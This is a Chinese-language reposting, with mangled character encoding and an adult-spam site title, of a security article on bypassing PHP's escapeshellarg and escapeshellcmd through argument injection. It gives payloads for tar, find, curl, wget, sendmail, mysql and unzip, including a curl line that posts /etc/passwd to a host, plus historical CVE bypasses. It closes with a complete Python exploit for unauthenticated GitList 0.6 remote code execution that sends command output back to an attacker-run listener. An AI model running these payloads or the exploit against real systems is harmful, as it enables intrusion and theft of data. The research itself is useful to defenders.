压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用/繞過(guò) PHP escapeshellarg/escapeshellcmd函數(shù)

escapeshellarg和escapeshellcmd的功能

escapeshellarg

1.確保用戶只傳遞一個(gè)參數(shù)給命令
2.用戶不能指定更多的參數(shù)一個(gè)
3.用戶不能執(zhí)行不同的命令

escapeshellcmd

1.確保用戶只執(zhí)行一個(gè)命令
2.用戶可以指定不限數(shù)量的參數(shù)
3.用戶不能執(zhí)行不同的命令

讓我們用groups去打印組里每個(gè)username成員

$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

但是攻擊者可以在username里使用;或者||

在Linux里,這意味著第二個(gè)命令可以在第一個(gè)之后被執(zhí)行

$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)

為了防止這一點(diǎn),我們使用escapeshellcmd

現(xiàn)在攻擊者不能允許第2個(gè)命令了

$username = 'myuser;id';
// escapeshellcmd adds  before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)

為什么會(huì)這樣?因?yàn)閜hp內(nèi)部運(yùn)行了這樣的命令

$ groups myuser;id
groups: ?myuser;id”: no such user

myuser;id被當(dāng)成了一個(gè)字符串
但是在這種方法中,攻擊者可以指定更多參數(shù)groups

例如,他一次檢測(cè)多個(gè)用戶

$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo

假設(shè)我們希望允許每個(gè)腳本執(zhí)行僅檢查一個(gè)用戶:

$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)

為什么會(huì)這樣?因?yàn)楝F(xiàn)在$username被視為單個(gè)參數(shù):

$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user

 

已知的繞過(guò)/利用

當(dāng)你想利用這些功能時(shí),你有兩個(gè)選擇:

如果PHP版本非常老,你可以嘗試一個(gè)歷史漏洞,

否則你需要嘗試參數(shù)注入技術(shù)。

參數(shù)注入

從上一章可以看到,使用escapeshellcmd / escapeshellarg時(shí)不可能執(zhí)行第二個(gè)命令。

但是我們?nèi)匀豢梢詫?shù)傳遞給第一個(gè)命令。

這意味著我們也可以將新選項(xiàng)傳遞給命令。

利用漏洞的能力取決于目標(biāo)可執(zhí)行文件。

您可以在下面找到一些已知可執(zhí)行文件的列表,其中包含一些可能被濫用的特定選項(xiàng)。

TAR

壓縮some_file/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

創(chuàng)建一個(gè)空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

/tmp目錄查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd內(nèi)容

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

Escapeshellcmd和escapeshellarg

在這個(gè)配置中,我們可以傳遞第二個(gè)參數(shù)給函數(shù)。

列出/tmp目錄并忽略sth文件

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

/tmp目錄中列出文件并忽略sth。使用長(zhǎng)列表格式。

$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

例如:WGET,下載example.php

$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

保存.php文件到指定目錄

$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

用.bat執(zhí)行命令

打印somedir中的文件列表

$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

并且執(zhí)行whoami命令

$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

SENDMAIL

發(fā)送mail.txtfrom@sth.com

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd內(nèi)容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL

下載http://example.com內(nèi)容

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

發(fā)送/etc/passwd內(nèi)容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

你可以得到文件內(nèi)容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

執(zhí)行sql語(yǔ)句

$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

運(yùn)行id命令

$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

archive.zip解壓所有*.tmp文件到/tmp目錄

$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

archive.zip解壓所有*.tmp文件到/var/www/html目錄

$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

如果未設(shè)置LANG環(huán)境變量,則去除非ASCII字符

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

 

經(jīng)典EXP

PHP <= 4.3.6 on Windows – CVE-2004-0542

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

同時(shí)運(yùn)行dir命令.

$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語(yǔ)言環(huán)境。

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642

額外傳遞的第三個(gè)參數(shù)(—param3)。

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

PHP 7.x before 7.0.2 – CVE-2016-1904

如果將1024mb字符串傳遞給escapeshellarg,則導(dǎo)致緩沖區(qū)溢出escapeshellcmd。

PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

啟用EnableDelayedExpansion后,展開(kāi)一些環(huán)境變量。

然后!STH!運(yùn)行類似于%STH%

escapeshellarg不會(huì)過(guò)濾!字符
EnableDelayedExpansion以在HKLM或HKCU下的注冊(cè)表中設(shè)置:

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

例如:

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);

PHP < 5.6.18

功能定義于ext/standard/exec.c,運(yùn)行類似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的長(zhǎng)度,并用NULL終止工作代替。

echo escapeshellarg("helloworld");
=>
hello

 

GitList RCE漏洞利用

文件src/Git/Repository.php

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }
}

簡(jiǎn)化后

$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');

當(dāng)我們查看git grep文檔時(shí)

--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

所以基本上--open-files-in-pager就像是在-exec中執(zhí)行find.

$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');

當(dāng)我們輸入這些進(jìn)控制臺(tái)

$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found

最后的exp:

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
    print "[-] No repos"
    os._exit(0)

for repo in repos:
    print "[+] Found repo {}".format(repo)
    r = requests.get("{}{}".format(url, repo))
    files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
    for file in files:
        r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
        print "[+] Found file {}".format(file)
        print r.text[0:100]
        search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])        
        break

if not search_url:
    print "[-] No files in repo"
    os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
    server = HTTPServer((your_ip, your_port), GetHandler)
    server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)
原文:https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html

上一篇:EISS-2018企業(yè)信息安全峰會(huì)在北京成功舉辦

下一篇:網(wǎng)絡(luò)安全態(tài)勢(shì)越來(lái)越糟糕嗎?未必

站长统计